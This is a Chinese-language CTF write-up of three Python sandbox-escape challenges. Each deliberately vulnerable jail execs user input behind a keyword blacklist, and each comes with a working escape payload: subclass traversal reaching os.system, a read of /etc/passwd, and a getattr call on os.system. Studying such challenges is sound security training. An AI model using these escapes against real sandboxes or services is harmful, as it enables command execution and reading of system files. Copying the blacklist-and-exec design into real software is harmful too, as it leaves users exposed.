python沙箱逃逸的几道题
第一道
from __future__ import print_function
print("Welcome to my Python sandbox! Enter commands below!")
banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]
targets =__builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]
while 1:
print(">>>", end=' ')
data = raw_input()
for no in banned:
if no.lower() in data.lower():
print("Nobueno")
break
else: # this means nobreak
exec data
payload: ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
第二道
#!/usr/bin/env python
from re import findall
def make_secure():
UNSAFE = ['open',
'file',
'execfile',
'compile',
'reload',
'__import__',
'eval',
'input']
for func in UNSAFE:
del __builtins__.__dict__[func]
# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'
while True:
try:
print ">>>",
# Read user input until the first whitespace character
inp = findall('\S+', raw_input())[0]
a = None
# Set a to the result from executing the user input
exec 'a=' + inp
print 'Return Value:', a
except Exception, e:
print 'Exception:', e
payload:().class.bases[0].subclasses()[40]("/etc/passwd").read()
前两道环境是py2,第三道是py3
第三道
# -*-coding:utf-8-*-
#!/usr/bin/python3
import sys, cmd, os
del __builtins__.__dict__['__import__']
del __builtins__.__dict__['eval']
intro = """
pwnhub cuit
pwn everything
Rules:
-No import
-No ...
-No flag
"""
def execute(command):
exec(command, globals())
class Jail(cmd.Cmd):
prompt = '>>> '
filtered = '\'|.|input|if|else|eval|exit|import|quit|exec|code|const|vars|str|chr|ord|local|global|join|format|replace|translate|try|except|with|content|frame|back'.split('|')
def do_EOF(self, line):
sys.exit()
def emptyline(self):
return cmd.Cmd.emptyline(self)
def default(self, line):
sys.stdout.write('\x00')
def postcmd(self, stop, line):
if any(f in line for f in self.filtered):
print("You are a big hacker !!!")
print("Go away")
else:
try:
execute(line)
except NameError:
print("NameError: name '%s' is not defined" % line)
except Exception:
print("Error: %s" % line)
return cmd.Cmd.postcmd(self, stop, line)
if __name__ == "__main__":
try:
Jail().cmdloop(intro)
except KeyboardInterrupt:
print("\rSee you next time !")
payload:print(getattr(os, "system")("whoami"))
等有空好好看看python面向对象的那一块知识
参考链接:
http://www.php.cn/python-tutorials-356723.html
http://blog.51cto.com/13620939/2075204
https://xz.aliyun.com/t/52#toc-0
http://www.k0rz3n.com/2018/05/04/Python%20%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8%E5%A4%87%E5%BF%98/
http://www.bendawang.site/2018/03/01/%E5%85%B3%E4%BA%8EPython-sec%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/
python沙箱逃逸的几道题的更多相关文章
- CTF python沙箱逃逸进阶题目
future引用了python3的新特性,所以是不能直接回回显,得用print file函数可以读取. print(().__class__.__bases__[0].__subclasses__() ...
- 一道简单的CTFpython沙箱逃逸题目
看了几天的ssti注入然后了解到有python沙箱逃逸 学过ssti注入的话python沙箱逃逸还是很容易理解的. 看一道CTF题目,源码的话我改了改,一开始不能用,直接在py2上运行就好. 题目要求 ...
- NodeJS沙箱逃逸&&vm
NodeJS沙箱逃逸 关于nodejs的沙箱 使用场景 在线代码编辑器 第三方js代码 jsonp,like百度搜索框 https://www.baidu.com/s?wd=nodejs&mi ...
- 刚毕业去面试Python工程师,这几道题太难了,Python面试题No11
写在前面 本想停一段时间这个系列,但是好多朋友给我发信息说让我继续整理下去,so,继续吧~ 第1题: docstring是什么? docstring是一种文档字符串,用于解释构造的作用.我们在函数.类 ...
- python知识点总结以及15道题的解析
先看知识点总结 一.序列操作符x in s 如果x是列表s的元素,返回True,否则Falses + t 连接两个序列s和ts*n或者n*s 将序列s复制n次s[i] 返回s中第i元素s[i:j]或s ...
- CVE-2021-26119 PHP Smarty 模版沙箱逃逸远程代码执行漏洞
0x00 漏洞介绍 smarty是一个基于PHP开发的PHP模板引擎.它提供了逻辑与外在内容的分离,简单的讲,目的就是要使用PHP程序员同美工分离,使用的程序员改变程序的逻辑内容不会影响到美工的页面设 ...
- 【安全开发】python安全编码规范
申明:本文非笔者原创,原文转载自:https://github.com/SecurityPaper/SecurityPaper-web/blob/master/_posts/2.SDL%E8%A7%8 ...
- 2017CUIT校赛-线上赛
2017Pwnhub杯-CUIT校赛 这是CUIT第十三届校赛啦,也是我参加的第一次校赛. 在被虐到崩溃的过程中也学到了一些东西. 这次比赛是从5.27早上十点打到5.28晚上十点,共36小时,中间睡 ...
- 2.SDL规范文档
01.安全设计Checklist 输入验证 校验跨信任边界传递的不可信数据(策略检查数据合法性,含白名单机制等)格式化字符串时,依然要检验用户输入的合法性,避免可造成系统信息泄露或者拒绝服务 禁止向J ...
随机推荐
- Hadoop源码学习笔记(3) ——初览DataNode及学习线程
Hadoop源码学习笔记(3) ——初览DataNode及学习线程 进入了main函数,我们走出了第一步,接下来看看再怎么走: public class DataNode extends Config ...
- JAVA基础之——序列化和反序列化
1 概念 序列化,将java对象转换成字节序列的过程. 反序列化,将字节序列恢复成java对象的过程. 2 为什么要序列化? 2.1 实现数据持久化,当对象创建后,它就会一直在,但是在程序终止时,这个 ...
- nginx 安装配置和常用命令
基本环境:CentOS 1. 下载 nginx [root@localhost ~]# cd Downloads/ [root@localhost Downloads]# wget http://ng ...
- java设计模式-----4、单例模式
单例模式是一种对象创建型模式,使用单例模式,可以保证为一个类只生成唯一的一个实例对象.也就是说,在整个程序空间中,该类只存在一个实例对象. 其实,GoF对单例模式的定义是:保证一个类,只有一个实例存在 ...
- webpack-bundle.js原理
bundle.js 源码 //a.js import { log } from './b.js' log('hello') //b.js export const log = function (m) ...
- Vuejs入门级简单实例
Vue作为2016年最火的框架之一,以其轻量.易学等特点深受大家的喜爱.今天简单介绍一下Vue的使用. 首先,需要在官网下载vuejs,或者直接用cdn库.以下实例使用Vue实现数据绑定与判断循环: ...
- C#调用SQlite常见问题汇总
最近在做SQLite开发,开发环境是VS2010+ SQLite Ado.Net data Provider.这套Data Provider程序是基于System.Data.SQLite 1.0.66 ...
- ArcGIS最权威、最专业的技术分享网站:积思园(www.iarcgis.com)
你对iArcGIS.com说点什么 为什么会有该网站的产生 在这个所谓的“大数据”的时代,每个人都深陷于海量信息无法自拔,因为过多碎片化的数据只会让自己的思维更加迷离,快餐式的阅读只会让自己变得虚胖. ...
- 1.Mysql简介
1.MySQL是一个关系型数据库管理系统. MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品.MySQL 最流行的关系型数据库管理系统,在 WE ...
- 类型安全的EventHandlerList
我们写一个类时,有时候会在同一个类上添加很多事件,事件很多的话,是不容易管理的,.NET提供的EventHandlerList可以辅助多个事件的管理,但不方便的地方是,它不是类型安全的,缺少类型安全, ...